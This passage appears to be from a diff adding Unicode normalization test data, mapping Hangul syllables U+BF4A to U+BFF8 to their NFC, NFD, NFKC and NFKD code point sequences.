+{ source: [0xBF4A], NFC: [0xBF4A], NFD: [0x1108, 0x1169, 0x11B1], NFKC: [0xBF4A], NFKD: [0x1108, 0x1169, 0x11B1] },
+{ source: [0xBF4B], NFC: [0xBF4B], NFD: [0x1108, 0x1169, 0x11B2], NFKC: [0xBF4B], NFKD: [0x1108, 0x1169, 0x11B2] },
+{ source: [0xBF4C], NFC: [0xBF4C], NFD: [0x1108, 0x1169, 0x11B3], NFKC: [0xBF4C], NFKD: [0x1108, 0x1169, 0x11B3] },
+{ source: [0xBF4D], NFC: [0xBF4D], NFD: [0x1108, 0x1169, 0x11B4], NFKC: [0xBF4D], NFKD: [0x1108, 0x1169, 0x11B4] },
+{ source: [0xBF4E], NFC: [0xBF4E], NFD: [0x1108, 0x1169, 0x11B5], NFKC: [0xBF4E], NFKD: [0x1108, 0x1169, 0x11B5] },
+{ source: [0xBF4F], NFC: [0xBF4F], NFD: [0x1108, 0x1169, 0x11B6], NFKC: [0xBF4F], NFKD: [0x1108, 0x1169, 0x11B6] },
+{ source: [0xBF50], NFC: [0xBF50], NFD: [0x1108, 0x1169, 0x11B7], NFKC: [0xBF50], NFKD: [0x1108, 0x1169, 0x11B7] },
+{ source: [0xBF51], NFC: [0xBF51], NFD: [0x1108, 0x1169, 0x11B8], NFKC: [0xBF51], NFKD: [0x1108, 0x1169, 0x11B8] },
+{ source: [0xBF52], NFC: [0xBF52], NFD: [0x1108, 0x1169, 0x11B9], NFKC: [0xBF52], NFKD: [0x1108, 0x1169, 0x11B9] },
+{ source: [0xBF53], NFC: [0xBF53], NFD: [0x1108, 0x1169, 0x11BA], NFKC: [0xBF53], NFKD: [0x1108, 0x1169, 0x11BA] },
+{ source: [0xBF54], NFC: [0xBF54], NFD: [0x1108, 0x1169, 0x11BB], NFKC: [0xBF54], NFKD: [0x1108, 0x1169, 0x11BB] },
+{ source: [0xBF55], NFC: [0xBF55], NFD: [0x1108, 0x1169, 0x11BC], NFKC: [0xBF55], NFKD: [0x1108, 0x1169, 0x11BC] },
+{ source: [0xBF56], NFC: [0xBF56], NFD: [0x1108, 0x1169, 0x11BD], NFKC: [0xBF56], NFKD: [0x1108, 0x1169, 0x11BD] },
+{ source: [0xBF57], NFC: [0xBF57], NFD: [0x1108, 0x1169, 0x11BE], NFKC: [0xBF57], NFKD: [0x1108, 0x1169, 0x11BE] },
+{ source: [0xBF58], NFC: [0xBF58], NFD: [0x1108, 0x1169, 0x11BF], NFKC: [0xBF58], NFKD: [0x1108, 0x1169, 0x11BF] },
+{ source: [0xBF59], NFC: [0xBF59], NFD: [0x1108, 0x1169, 0x11C0], NFKC: [0xBF59], NFKD: [0x1108, 0x1169, 0x11C0] },
+{ source: [0xBF5A], NFC: [0xBF5A], NFD: [0x1108, 0x1169, 0x11C1], NFKC: [0xBF5A], NFKD: [0x1108, 0x1169, 0x11C1] },
+{ source: [0xBF5B], NFC: [0xBF5B], NFD: [0x1108, 0x1169, 0x11C2], NFKC: [0xBF5B], NFKD: [0x1108, 0x1169, 0x11C2] },
+{ source: [0xBF5C], NFC: [0xBF5C], NFD: [0x1108, 0x116A], NFKC: [0xBF5C], NFKD: [0x1108, 0x116A] },
+{ source: [0xBF5D], NFC: [0xBF5D], NFD: [0x1108, 0x116A, 0x11A8], NFKC: [0xBF5D], NFKD: [0x1108, 0x116A, 0x11A8] },
+{ source: [0xBF5E], NFC: [0xBF5E], NFD: [0x1108, 0x116A, 0x11A9], NFKC: [0xBF5E], NFKD: [0x1108, 0x116A, 0x11A9] },
+{ source: [0xBF5F], NFC: [0xBF5F], NFD: [0x1108, 0x116A, 0x11AA], NFKC: [0xBF5F], NFKD: [0x1108, 0x116A, 0x11AA] },
+{ source: [0xBF60], NFC: [0xBF60], NFD: [0x1108, 0x116A, 0x11AB], NFKC: [0xBF60], NFKD: [0x1108, 0x116A, 0x11AB] },
+{ source: [0xBF61], NFC: [0xBF61], NFD: [0x1108, 0x116A, 0x11AC], NFKC: [0xBF61], NFKD: [0x1108, 0x116A, 0x11AC] },
+{ source: [0xBF62], NFC: [0xBF62], NFD: [0x1108, 0x116A, 0x11AD], NFKC: [0xBF62], NFKD: [0x1108, 0x116A, 0x11AD] },
+{ source: [0xBF63], NFC: [0xBF63], NFD: [0x1108, 0x116A, 0x11AE], NFKC: [0xBF63], NFKD: [0x1108, 0x116A, 0x11AE] },
+{ source: [0xBF64], NFC: [0xBF64], NFD: [0x1108, 0x116A, 0x11AF], NFKC: [0xBF64], NFKD: [0x1108, 0x116A, 0x11AF] },
+{ source: [0xBF65], NFC: [0xBF65], NFD: [0x1108, 0x116A, 0x11B0], NFKC: [0xBF65], NFKD: [0x1108, 0x116A, 0x11B0] },
+{ source: [0xBF66], NFC: [0xBF66], NFD: [0x1108, 0x116A, 0x11B1], NFKC: [0xBF66], NFKD: [0x1108, 0x116A, 0x11B1] },
+{ source: [0xBF67], NFC: [0xBF67], NFD: [0x1108, 0x116A, 0x11B2], NFKC: [0xBF67], NFKD: [0x1108, 0x116A, 0x11B2] },
+{ source: [0xBF68], NFC: [0xBF68], NFD: [0x1108, 0x116A, 0x11B3], NFKC: [0xBF68], NFKD: [0x1108, 0x116A, 0x11B3] },
+{ source: [0xBF69], NFC: [0xBF69], NFD: [0x1108, 0x116A, 0x11B4], NFKC: [0xBF69], NFKD: [0x1108, 0x116A, 0x11B4] },
+{ source: [0xBF6A], NFC: [0xBF6A], NFD: [0x1108, 0x116A, 0x11B5], NFKC: [0xBF6A], NFKD: [0x1108, 0x116A, 0x11B5] },
+{ source: [0xBF6B], NFC: [0xBF6B], NFD: [0x1108, 0x116A, 0x11B6], NFKC: [0xBF6B], NFKD: [0x1108, 0x116A, 0x11B6] },
+{ source: [0xBF6C], NFC: [0xBF6C], NFD: [0x1108, 0x116A, 0x11B7], NFKC: [0xBF6C], NFKD: [0x1108, 0x116A, 0x11B7] },
+{ source: [0xBF6D], NFC: [0xBF6D], NFD: [0x1108, 0x116A, 0x11B8], NFKC: [0xBF6D], NFKD: [0x1108, 0x116A, 0x11B8] },
+{ source: [0xBF6E], NFC: [0xBF6E], NFD: [0x1108, 0x116A, 0x11B9], NFKC: [0xBF6E], NFKD: [0x1108, 0x116A, 0x11B9] },
+{ source: [0xBF6F], NFC: [0xBF6F], NFD: [0x1108, 0x116A, 0x11BA], NFKC: [0xBF6F], NFKD: [0x1108, 0x116A, 0x11BA] },
+{ source: [0xBF70], NFC: [0xBF70], NFD: [0x1108, 0x116A, 0x11BB], NFKC: [0xBF70], NFKD: [0x1108, 0x116A, 0x11BB] },
+{ source: [0xBF71], NFC: [0xBF71], NFD: [0x1108, 0x116A, 0x11BC], NFKC: [0xBF71], NFKD: [0x1108, 0x116A, 0x11BC] },
+{ source: [0xBF72], NFC: [0xBF72], NFD: [0x1108, 0x116A, 0x11BD], NFKC: [0xBF72], NFKD: [0x1108, 0x116A, 0x11BD] },
+{ source: [0xBF73], NFC: [0xBF73], NFD: [0x1108, 0x116A, 0x11BE], NFKC: [0xBF73], NFKD: [0x1108, 0x116A, 0x11BE] },
+{ source: [0xBF74], NFC: [0xBF74], NFD: [0x1108, 0x116A, 0x11BF], NFKC: [0xBF74], NFKD: [0x1108, 0x116A, 0x11BF] },
+{ source: [0xBF75], NFC: [0xBF75], NFD: [0x1108, 0x116A, 0x11C0], NFKC: [0xBF75], NFKD: [0x1108, 0x116A, 0x11C0] },
+{ source: [0xBF76], NFC: [0xBF76], NFD: [0x1108, 0x116A, 0x11C1], NFKC: [0xBF76], NFKD: [0x1108, 0x116A, 0x11C1] },
+{ source: [0xBF77], NFC: [0xBF77], NFD: [0x1108, 0x116A, 0x11C2], NFKC: [0xBF77], NFKD: [0x1108, 0x116A, 0x11C2] },
+{ source: [0xBF78], NFC: [0xBF78], NFD: [0x1108, 0x116B], NFKC: [0xBF78], NFKD: [0x1108, 0x116B] },
+{ source: [0xBF79], NFC: [0xBF79], NFD: [0x1108, 0x116B, 0x11A8], NFKC: [0xBF79], NFKD: [0x1108, 0x116B, 0x11A8] },
+{ source: [0xBF7A], NFC: [0xBF7A], NFD: [0x1108, 0x116B, 0x11A9], NFKC: [0xBF7A], NFKD: [0x1108, 0x116B, 0x11A9] },
+{ source: [0xBF7B], NFC: [0xBF7B], NFD: [0x1108, 0x116B, 0x11AA], NFKC: [0xBF7B], NFKD: [0x1108, 0x116B, 0x11AA] },
+{ source: [0xBF7C], NFC: [0xBF7C], NFD: [0x1108, 0x116B, 0x11AB], NFKC: [0xBF7C], NFKD: [0x1108, 0x116B, 0x11AB] },
+{ source: [0xBF7D], NFC: [0xBF7D], NFD: [0x1108, 0x116B, 0x11AC], NFKC: [0xBF7D], NFKD: [0x1108, 0x116B, 0x11AC] },
+{ source: [0xBF7E], NFC: [0xBF7E], NFD: [0x1108, 0x116B, 0x11AD], NFKC: [0xBF7E], NFKD: [0x1108, 0x116B, 0x11AD] },
+{ source: [0xBF7F], NFC: [0xBF7F], NFD: [0x1108, 0x116B, 0x11AE], NFKC: [0xBF7F], NFKD: [0x1108, 0x116B, 0x11AE] },
+{ source: [0xBF80], NFC: [0xBF80], NFD: [0x1108, 0x116B, 0x11AF], NFKC: [0xBF80], NFKD: [0x1108, 0x116B, 0x11AF] },
+{ source: [0xBF81], NFC: [0xBF81], NFD: [0x1108, 0x116B, 0x11B0], NFKC: [0xBF81], NFKD: [0x1108, 0x116B, 0x11B0] },
+{ source: [0xBF82], NFC: [0xBF82], NFD: [0x1108, 0x116B, 0x11B1], NFKC: [0xBF82], NFKD: [0x1108, 0x116B, 0x11B1] },
+{ source: [0xBF83], NFC: [0xBF83], NFD: [0x1108, 0x116B, 0x11B2], NFKC: [0xBF83], NFKD: [0x1108, 0x116B, 0x11B2] },
+{ source: [0xBF84], NFC: [0xBF84], NFD: [0x1108, 0x116B, 0x11B3], NFKC: [0xBF84], NFKD: [0x1108, 0x116B, 0x11B3] },
+{ source: [0xBF85], NFC: [0xBF85], NFD: [0x1108, 0x116B, 0x11B4], NFKC: [0xBF85], NFKD: [0x1108, 0x116B, 0x11B4] },
+{ source: [0xBF86], NFC: [0xBF86], NFD: [0x1108, 0x116B, 0x11B5], NFKC: [0xBF86], NFKD: [0x1108, 0x116B, 0x11B5] },
+{ source: [0xBF87], NFC: [0xBF87], NFD: [0x1108, 0x116B, 0x11B6], NFKC: [0xBF87], NFKD: [0x1108, 0x116B, 0x11B6] },
+{ source: [0xBF88], NFC: [0xBF88], NFD: [0x1108, 0x116B, 0x11B7], NFKC: [0xBF88], NFKD: [0x1108, 0x116B, 0x11B7] },
+{ source: [0xBF89], NFC: [0xBF89], NFD: [0x1108, 0x116B, 0x11B8], NFKC: [0xBF89], NFKD: [0x1108, 0x116B, 0x11B8] },
+{ source: [0xBF8A], NFC: [0xBF8A], NFD: [0x1108, 0x116B, 0x11B9], NFKC: [0xBF8A], NFKD: [0x1108, 0x116B, 0x11B9] },
+{ source: [0xBF8B], NFC: [0xBF8B], NFD: [0x1108, 0x116B, 0x11BA], NFKC: [0xBF8B], NFKD: [0x1108, 0x116B, 0x11BA] },
+{ source: [0xBF8C], NFC: [0xBF8C], NFD: [0x1108, 0x116B, 0x11BB], NFKC: [0xBF8C], NFKD: [0x1108, 0x116B, 0x11BB] },
+{ source: [0xBF8D], NFC: [0xBF8D], NFD: [0x1108, 0x116B, 0x11BC], NFKC: [0xBF8D], NFKD: [0x1108, 0x116B, 0x11BC] },
+{ source: [0xBF8E], NFC: [0xBF8E], NFD: [0x1108, 0x116B, 0x11BD], NFKC: [0xBF8E], NFKD: [0x1108, 0x116B, 0x11BD] },
+{ source: [0xBF8F], NFC: [0xBF8F], NFD: [0x1108, 0x116B, 0x11BE], NFKC: [0xBF8F], NFKD: [0x1108, 0x116B, 0x11BE] },
+{ source: [0xBF90], NFC: [0xBF90], NFD: [0x1108, 0x116B, 0x11BF], NFKC: [0xBF90], NFKD: [0x1108, 0x116B, 0x11BF] },
+{ source: [0xBF91], NFC: [0xBF91], NFD: [0x1108, 0x116B, 0x11C0], NFKC: [0xBF91], NFKD: [0x1108, 0x116B, 0x11C0] },
+{ source: [0xBF92], NFC: [0xBF92], NFD: [0x1108, 0x116B, 0x11C1], NFKC: [0xBF92], NFKD: [0x1108, 0x116B, 0x11C1] },
+{ source: [0xBF93], NFC: [0xBF93], NFD: [0x1108, 0x116B, 0x11C2], NFKC: [0xBF93], NFKD: [0x1108, 0x116B, 0x11C2] },
+{ source: [0xBF94], NFC: [0xBF94], NFD: [0x1108, 0x116C], NFKC: [0xBF94], NFKD: [0x1108, 0x116C] },
+{ source: [0xBF95], NFC: [0xBF95], NFD: [0x1108, 0x116C, 0x11A8], NFKC: [0xBF95], NFKD: [0x1108, 0x116C, 0x11A8] },
+{ source: [0xBF96], NFC: [0xBF96], NFD: [0x1108, 0x116C, 0x11A9], NFKC: [0xBF96], NFKD: [0x1108, 0x116C, 0x11A9] },
+{ source: [0xBF97], NFC: [0xBF97], NFD: [0x1108, 0x116C, 0x11AA], NFKC: [0xBF97], NFKD: [0x1108, 0x116C, 0x11AA] },
+{ source: [0xBF98], NFC: [0xBF98], NFD: [0x1108, 0x116C, 0x11AB], NFKC: [0xBF98], NFKD: [0x1108, 0x116C, 0x11AB] },
+{ source: [0xBF99], NFC: [0xBF99], NFD: [0x1108, 0x116C, 0x11AC], NFKC: [0xBF99], NFKD: [0x1108, 0x116C, 0x11AC] },
+{ source: [0xBF9A], NFC: [0xBF9A], NFD: [0x1108, 0x116C, 0x11AD], NFKC: [0xBF9A], NFKD: [0x1108, 0x116C, 0x11AD] },
+{ source: [0xBF9B], NFC: [0xBF9B], NFD: [0x1108, 0x116C, 0x11AE], NFKC: [0xBF9B], NFKD: [0x1108, 0x116C, 0x11AE] },
+{ source: [0xBF9C], NFC: [0xBF9C], NFD: [0x1108, 0x116C, 0x11AF], NFKC: [0xBF9C], NFKD: [0x1108, 0x116C, 0x11AF] },
+{ source: [0xBF9D], NFC: [0xBF9D], NFD: [0x1108, 0x116C, 0x11B0], NFKC: [0xBF9D], NFKD: [0x1108, 0x116C, 0x11B0] },
+{ source: [0xBF9E], NFC: [0xBF9E], NFD: [0x1108, 0x116C, 0x11B1], NFKC: [0xBF9E], NFKD: [0x1108, 0x116C, 0x11B1] },
+{ source: [0xBF9F], NFC: [0xBF9F], NFD: [0x1108, 0x116C, 0x11B2], NFKC: [0xBF9F], NFKD: [0x1108, 0x116C, 0x11B2] },
+{ source: [0xBFA0], NFC: [0xBFA0], NFD: [0x1108, 0x116C, 0x11B3], NFKC: [0xBFA0], NFKD: [0x1108, 0x116C, 0x11B3] },
+{ source: [0xBFA1], NFC: [0xBFA1], NFD: [0x1108, 0x116C, 0x11B4], NFKC: [0xBFA1], NFKD: [0x1108, 0x116C, 0x11B4] },
+{ source: [0xBFA2], NFC: [0xBFA2], NFD: [0x1108, 0x116C, 0x11B5], NFKC: [0xBFA2], NFKD: [0x1108, 0x116C, 0x11B5] },
+{ source: [0xBFA3], NFC: [0xBFA3], NFD: [0x1108, 0x116C, 0x11B6], NFKC: [0xBFA3], NFKD: [0x1108, 0x116C, 0x11B6] },
+{ source: [0xBFA4], NFC: [0xBFA4], NFD: [0x1108, 0x116C, 0x11B7], NFKC: [0xBFA4], NFKD: [0x1108, 0x116C, 0x11B7] },
+{ source: [0xBFA5], NFC: [0xBFA5], NFD: [0x1108, 0x116C, 0x11B8], NFKC: [0xBFA5], NFKD: [0x1108, 0x116C, 0x11B8] },
+{ source: [0xBFA6], NFC: [0xBFA6], NFD: [0x1108, 0x116C, 0x11B9], NFKC: [0xBFA6], NFKD: [0x1108, 0x116C, 0x11B9] },
+{ source: [0xBFA7], NFC: [0xBFA7], NFD: [0x1108, 0x116C, 0x11BA], NFKC: [0xBFA7], NFKD: [0x1108, 0x116C, 0x11BA] },
+{ source: [0xBFA8], NFC: [0xBFA8], NFD: [0x1108, 0x116C, 0x11BB], NFKC: [0xBFA8], NFKD: [0x1108, 0x116C, 0x11BB] },
+{ source: [0xBFA9], NFC: [0xBFA9], NFD: [0x1108, 0x116C, 0x11BC], NFKC: [0xBFA9], NFKD: [0x1108, 0x116C, 0x11BC] },
+{ source: [0xBFAA], NFC: [0xBFAA], NFD: [0x1108, 0x116C, 0x11BD], NFKC: [0xBFAA], NFKD: [0x1108, 0x116C, 0x11BD] },
+{ source: [0xBFAB], NFC: [0xBFAB], NFD: [0x1108, 0x116C, 0x11BE], NFKC: [0xBFAB], NFKD: [0x1108, 0x116C, 0x11BE] },
+{ source: [0xBFAC], NFC: [0xBFAC], NFD: [0x1108, 0x116C, 0x11BF], NFKC: [0xBFAC], NFKD: [0x1108, 0x116C, 0x11BF] },
+{ source: [0xBFAD], NFC: [0xBFAD], NFD: [0x1108, 0x116C, 0x11C0], NFKC: [0xBFAD], NFKD: [0x1108, 0x116C, 0x11C0] },
+{ source: [0xBFAE], NFC: [0xBFAE], NFD: [0x1108, 0x116C, 0x11C1], NFKC: [0xBFAE], NFKD: [0x1108, 0x116C, 0x11C1] },
+{ source: [0xBFAF], NFC: [0xBFAF], NFD: [0x1108, 0x116C, 0x11C2], NFKC: [0xBFAF], NFKD: [0x1108, 0x116C, 0x11C2] },
+{ source: [0xBFB0], NFC: [0xBFB0], NFD: [0x1108, 0x116D], NFKC: [0xBFB0], NFKD: [0x1108, 0x116D] },
+{ source: [0xBFB1], NFC: [0xBFB1], NFD: [0x1108, 0x116D, 0x11A8], NFKC: [0xBFB1], NFKD: [0x1108, 0x116D, 0x11A8] },
+{ source: [0xBFB2], NFC: [0xBFB2], NFD: [0x1108, 0x116D, 0x11A9], NFKC: [0xBFB2], NFKD: [0x1108, 0x116D, 0x11A9] },
+{ source: [0xBFB3], NFC: [0xBFB3], NFD: [0x1108, 0x116D, 0x11AA], NFKC: [0xBFB3], NFKD: [0x1108, 0x116D, 0x11AA] },
+{ source: [0xBFB4], NFC: [0xBFB4], NFD: [0x1108, 0x116D, 0x11AB], NFKC: [0xBFB4], NFKD: [0x1108, 0x116D, 0x11AB] },
+{ source: [0xBFB5], NFC: [0xBFB5], NFD: [0x1108, 0x116D, 0x11AC], NFKC: [0xBFB5], NFKD: [0x1108, 0x116D, 0x11AC] },
+{ source: [0xBFB6], NFC: [0xBFB6], NFD: [0x1108, 0x116D, 0x11AD], NFKC: [0xBFB6], NFKD: [0x1108, 0x116D, 0x11AD] },
+{ source: [0xBFB7], NFC: [0xBFB7], NFD: [0x1108, 0x116D, 0x11AE], NFKC: [0xBFB7], NFKD: [0x1108, 0x116D, 0x11AE] },
+{ source: [0xBFB8], NFC: [0xBFB8], NFD: [0x1108, 0x116D, 0x11AF], NFKC: [0xBFB8], NFKD: [0x1108, 0x116D, 0x11AF] },
+{ source: [0xBFB9], NFC: [0xBFB9], NFD: [0x1108, 0x116D, 0x11B0], NFKC: [0xBFB9], NFKD: [0x1108, 0x116D, 0x11B0] },
+{ source: [0xBFBA], NFC: [0xBFBA], NFD: [0x1108, 0x116D, 0x11B1], NFKC: [0xBFBA], NFKD: [0x1108, 0x116D, 0x11B1] },
+{ source: [0xBFBB], NFC: [0xBFBB], NFD: [0x1108, 0x116D, 0x11B2], NFKC: [0xBFBB], NFKD: [0x1108, 0x116D, 0x11B2] },
+{ source: [0xBFBC], NFC: [0xBFBC], NFD: [0x1108, 0x116D, 0x11B3], NFKC: [0xBFBC], NFKD: [0x1108, 0x116D, 0x11B3] },
+{ source: [0xBFBD], NFC: [0xBFBD], NFD: [0x1108, 0x116D, 0x11B4], NFKC: [0xBFBD], NFKD: [0x1108, 0x116D, 0x11B4] },
+{ source: [0xBFBE], NFC: [0xBFBE], NFD: [0x1108, 0x116D, 0x11B5], NFKC: [0xBFBE], NFKD: [0x1108, 0x116D, 0x11B5] },
+{ source: [0xBFBF], NFC: [0xBFBF], NFD: [0x1108, 0x116D, 0x11B6], NFKC: [0xBFBF], NFKD: [0x1108, 0x116D, 0x11B6] },
+{ source: [0xBFC0], NFC: [0xBFC0], NFD: [0x1108, 0x116D, 0x11B7], NFKC: [0xBFC0], NFKD: [0x1108, 0x116D, 0x11B7] },
+{ source: [0xBFC1], NFC: [0xBFC1], NFD: [0x1108, 0x116D, 0x11B8], NFKC: [0xBFC1], NFKD: [0x1108, 0x116D, 0x11B8] },
+{ source: [0xBFC2], NFC: [0xBFC2], NFD: [0x1108, 0x116D, 0x11B9], NFKC: [0xBFC2], NFKD: [0x1108, 0x116D, 0x11B9] },
+{ source: [0xBFC3], NFC: [0xBFC3], NFD: [0x1108, 0x116D, 0x11BA], NFKC: [0xBFC3], NFKD: [0x1108, 0x116D, 0x11BA] },
+{ source: [0xBFC4], NFC: [0xBFC4], NFD: [0x1108, 0x116D, 0x11BB], NFKC: [0xBFC4], NFKD: [0x1108, 0x116D, 0x11BB] },
+{ source: [0xBFC5], NFC: [0xBFC5], NFD: [0x1108, 0x116D, 0x11BC], NFKC: [0xBFC5], NFKD: [0x1108, 0x116D, 0x11BC] },
+{ source: [0xBFC6], NFC: [0xBFC6], NFD: [0x1108, 0x116D, 0x11BD], NFKC: [0xBFC6], NFKD: [0x1108, 0x116D, 0x11BD] },
+{ source: [0xBFC7], NFC: [0xBFC7], NFD: [0x1108, 0x116D, 0x11BE], NFKC: [0xBFC7], NFKD: [0x1108, 0x116D, 0x11BE] },
+{ source: [0xBFC8], NFC: [0xBFC8], NFD: [0x1108, 0x116D, 0x11BF], NFKC: [0xBFC8], NFKD: [0x1108, 0x116D, 0x11BF] },
+{ source: [0xBFC9], NFC: [0xBFC9], NFD: [0x1108, 0x116D, 0x11C0], NFKC: [0xBFC9], NFKD: [0x1108, 0x116D, 0x11C0] },
+{ source: [0xBFCA], NFC: [0xBFCA], NFD: [0x1108, 0x116D, 0x11C1], NFKC: [0xBFCA], NFKD: [0x1108, 0x116D, 0x11C1] },
+{ source: [0xBFCB], NFC: [0xBFCB], NFD: [0x1108, 0x116D, 0x11C2], NFKC: [0xBFCB], NFKD: [0x1108, 0x116D, 0x11C2] },
+{ source: [0xBFCC], NFC: [0xBFCC], NFD: [0x1108, 0x116E], NFKC: [0xBFCC], NFKD: [0x1108, 0x116E] },
+{ source: [0xBFCD], NFC: [0xBFCD], NFD: [0x1108, 0x116E, 0x11A8], NFKC: [0xBFCD], NFKD: [0x1108, 0x116E, 0x11A8] },
+{ source: [0xBFCE], NFC: [0xBFCE], NFD: [0x1108, 0x116E, 0x11A9], NFKC: [0xBFCE], NFKD: [0x1108, 0x116E, 0x11A9] },
+{ source: [0xBFCF], NFC: [0xBFCF], NFD: [0x1108, 0x116E, 0x11AA], NFKC: [0xBFCF], NFKD: [0x1108, 0x116E, 0x11AA] },
+{ source: [0xBFD0], NFC: [0xBFD0], NFD: [0x1108, 0x116E, 0x11AB], NFKC: [0xBFD0], NFKD: [0x1108, 0x116E, 0x11AB] },
+{ source: [0xBFD1], NFC: [0xBFD1], NFD: [0x1108, 0x116E, 0x11AC], NFKC: [0xBFD1], NFKD: [0x1108, 0x116E, 0x11AC] },
+{ source: [0xBFD2], NFC: [0xBFD2], NFD: [0x1108, 0x116E, 0x11AD], NFKC: [0xBFD2], NFKD: [0x1108, 0x116E, 0x11AD] },
+{ source: [0xBFD3], NFC: [0xBFD3], NFD: [0x1108, 0x116E, 0x11AE], NFKC: [0xBFD3], NFKD: [0x1108, 0x116E, 0x11AE] },
+{ source: [0xBFD4], NFC: [0xBFD4], NFD: [0x1108, 0x116E, 0x11AF], NFKC: [0xBFD4], NFKD: [0x1108, 0x116E, 0x11AF] },
+{ source: [0xBFD5], NFC: [0xBFD5], NFD: [0x1108, 0x116E, 0x11B0], NFKC: [0xBFD5], NFKD: [0x1108, 0x116E, 0x11B0] },
+{ source: [0xBFD6], NFC: [0xBFD6], NFD: [0x1108, 0x116E, 0x11B1], NFKC: [0xBFD6], NFKD: [0x1108, 0x116E, 0x11B1] },
+{ source: [0xBFD7], NFC: [0xBFD7], NFD: [0x1108, 0x116E, 0x11B2], NFKC: [0xBFD7], NFKD: [0x1108, 0x116E, 0x11B2] },
+{ source: [0xBFD8], NFC: [0xBFD8], NFD: [0x1108, 0x116E, 0x11B3], NFKC: [0xBFD8], NFKD: [0x1108, 0x116E, 0x11B3] },
+{ source: [0xBFD9], NFC: [0xBFD9], NFD: [0x1108, 0x116E, 0x11B4], NFKC: [0xBFD9], NFKD: [0x1108, 0x116E, 0x11B4] },
+{ source: [0xBFDA], NFC: [0xBFDA], NFD: [0x1108, 0x116E, 0x11B5], NFKC: [0xBFDA], NFKD: [0x1108, 0x116E, 0x11B5] },
+{ source: [0xBFDB], NFC: [0xBFDB], NFD: [0x1108, 0x116E, 0x11B6], NFKC: [0xBFDB], NFKD: [0x1108, 0x116E, 0x11B6] },
+{ source: [0xBFDC], NFC: [0xBFDC], NFD: [0x1108, 0x116E, 0x11B7], NFKC: [0xBFDC], NFKD: [0x1108, 0x116E, 0x11B7] },
+{ source: [0xBFDD], NFC: [0xBFDD], NFD: [0x1108, 0x116E, 0x11B8], NFKC: [0xBFDD], NFKD: [0x1108, 0x116E, 0x11B8] },
+{ source: [0xBFDE], NFC: [0xBFDE], NFD: [0x1108, 0x116E, 0x11B9], NFKC: [0xBFDE], NFKD: [0x1108, 0x116E, 0x11B9] },
+{ source: [0xBFDF], NFC: [0xBFDF], NFD: [0x1108, 0x116E, 0x11BA], NFKC: [0xBFDF], NFKD: [0x1108, 0x116E, 0x11BA] },
+{ source: [0xBFE0], NFC: [0xBFE0], NFD: [0x1108, 0x116E, 0x11BB], NFKC: [0xBFE0], NFKD: [0x1108, 0x116E, 0x11BB] },
+{ source: [0xBFE1], NFC: [0xBFE1], NFD: [0x1108, 0x116E, 0x11BC], NFKC: [0xBFE1], NFKD: [0x1108, 0x116E, 0x11BC] },
+{ source: [0xBFE2], NFC: [0xBFE2], NFD: [0x1108, 0x116E, 0x11BD], NFKC: [0xBFE2], NFKD: [0x1108, 0x116E, 0x11BD] },
+{ source: [0xBFE3], NFC: [0xBFE3], NFD: [0x1108, 0x116E, 0x11BE], NFKC: [0xBFE3], NFKD: [0x1108, 0x116E, 0x11BE] },
+{ source: [0xBFE4], NFC: [0xBFE4], NFD: [0x1108, 0x116E, 0x11BF], NFKC: [0xBFE4], NFKD: [0x1108, 0x116E, 0x11BF] },
+{ source: [0xBFE5], NFC: [0xBFE5], NFD: [0x1108, 0x116E, 0x11C0], NFKC: [0xBFE5], NFKD: [0x1108, 0x116E, 0x11C0] },
+{ source: [0xBFE6], NFC: [0xBFE6], NFD: [0x1108, 0x116E, 0x11C1], NFKC: [0xBFE6], NFKD: [0x1108, 0x116E, 0x11C1] },
+{ source: [0xBFE7], NFC: [0xBFE7], NFD: [0x1108, 0x116E, 0x11C2], NFKC: [0xBFE7], NFKD: [0x1108, 0x116E, 0x11C2] },
+{ source: [0xBFE8], NFC: [0xBFE8], NFD: [0x1108, 0x116F], NFKC: [0xBFE8], NFKD: [0x1108, 0x116F] },
+{ source: [0xBFE9], NFC: [0xBFE9], NFD: [0x1108, 0x116F, 0x11A8], NFKC: [0xBFE9], NFKD: [0x1108, 0x116F, 0x11A8] },
+{ source: [0xBFEA], NFC: [0xBFEA], NFD: [0x1108, 0x116F, 0x11A9], NFKC: [0xBFEA], NFKD: [0x1108, 0x116F, 0x11A9] },
+{ source: [0xBFEB], NFC: [0xBFEB], NFD: [0x1108, 0x116F, 0x11AA], NFKC: [0xBFEB], NFKD: [0x1108, 0x116F, 0x11AA] },
+{ source: [0xBFEC], NFC: [0xBFEC], NFD: [0x1108, 0x116F, 0x11AB], NFKC: [0xBFEC], NFKD: [0x1108, 0x116F, 0x11AB] },
+{ source: [0xBFED], NFC: [0xBFED], NFD: [0x1108, 0x116F, 0x11AC], NFKC: [0xBFED], NFKD: [0x1108, 0x116F, 0x11AC] },
+{ source: [0xBFEE], NFC: [0xBFEE], NFD: [0x1108, 0x116F, 0x11AD], NFKC: [0xBFEE], NFKD: [0x1108, 0x116F, 0x11AD] },
+{ source: [0xBFEF], NFC: [0xBFEF], NFD: [0x1108, 0x116F, 0x11AE], NFKC: [0xBFEF], NFKD: [0x1108, 0x116F, 0x11AE] },
+{ source: [0xBFF0], NFC: [0xBFF0], NFD: [0x1108, 0x116F, 0x11AF], NFKC: [0xBFF0], NFKD: [0x1108, 0x116F, 0x11AF] },
+{ source: [0xBFF1], NFC: [0xBFF1], NFD: [0x1108, 0x116F, 0x11B0], NFKC: [0xBFF1], NFKD: [0x1108, 0x116F, 0x11B0] },
+{ source: [0xBFF2], NFC: [0xBFF2], NFD: [0x1108, 0x116F, 0x11B1], NFKC: [0xBFF2], NFKD: [0x1108, 0x116F, 0x11B1] },
+{ source: [0xBFF3], NFC: [0xBFF3], NFD: [0x1108, 0x116F, 0x11B2], NFKC: [0xBFF3], NFKD: [0x1108, 0x116F, 0x11B2] },
+{ source: [0xBFF4], NFC: [0xBFF4], NFD: [0x1108, 0x116F, 0x11B3], NFKC: [0xBFF4], NFKD: [0x1108, 0x116F, 0x11B3] },
+{ source: [0xBFF5], NFC: [0xBFF5], NFD: [0x1108, 0x116F, 0x11B4], NFKC: [0xBFF5], NFKD: [0x1108, 0x116F, 0x11B4] },
+{ source: [0xBFF6], NFC: [0xBFF6], NFD: [0x1108, 0x116F, 0x11B5], NFKC: [0xBFF6], NFKD: [0x1108, 0x116F, 0x11B5] },
+{ source: [0xBFF7], NFC: [0xBFF7], NFD: [0x1108, 0x116F, 0x11B6], NFKC: [0xBFF7], NFKD: [0x1108, 0x116F, 0x11B6] },
+{ source: [0xBFF8], NFC: [0xBFF8], NFD: [0x1108, 0x116F, 0x11B7], NFKC: [0xBFF8], NFKD: [0x1108, 0x116F, 0x11B7] },
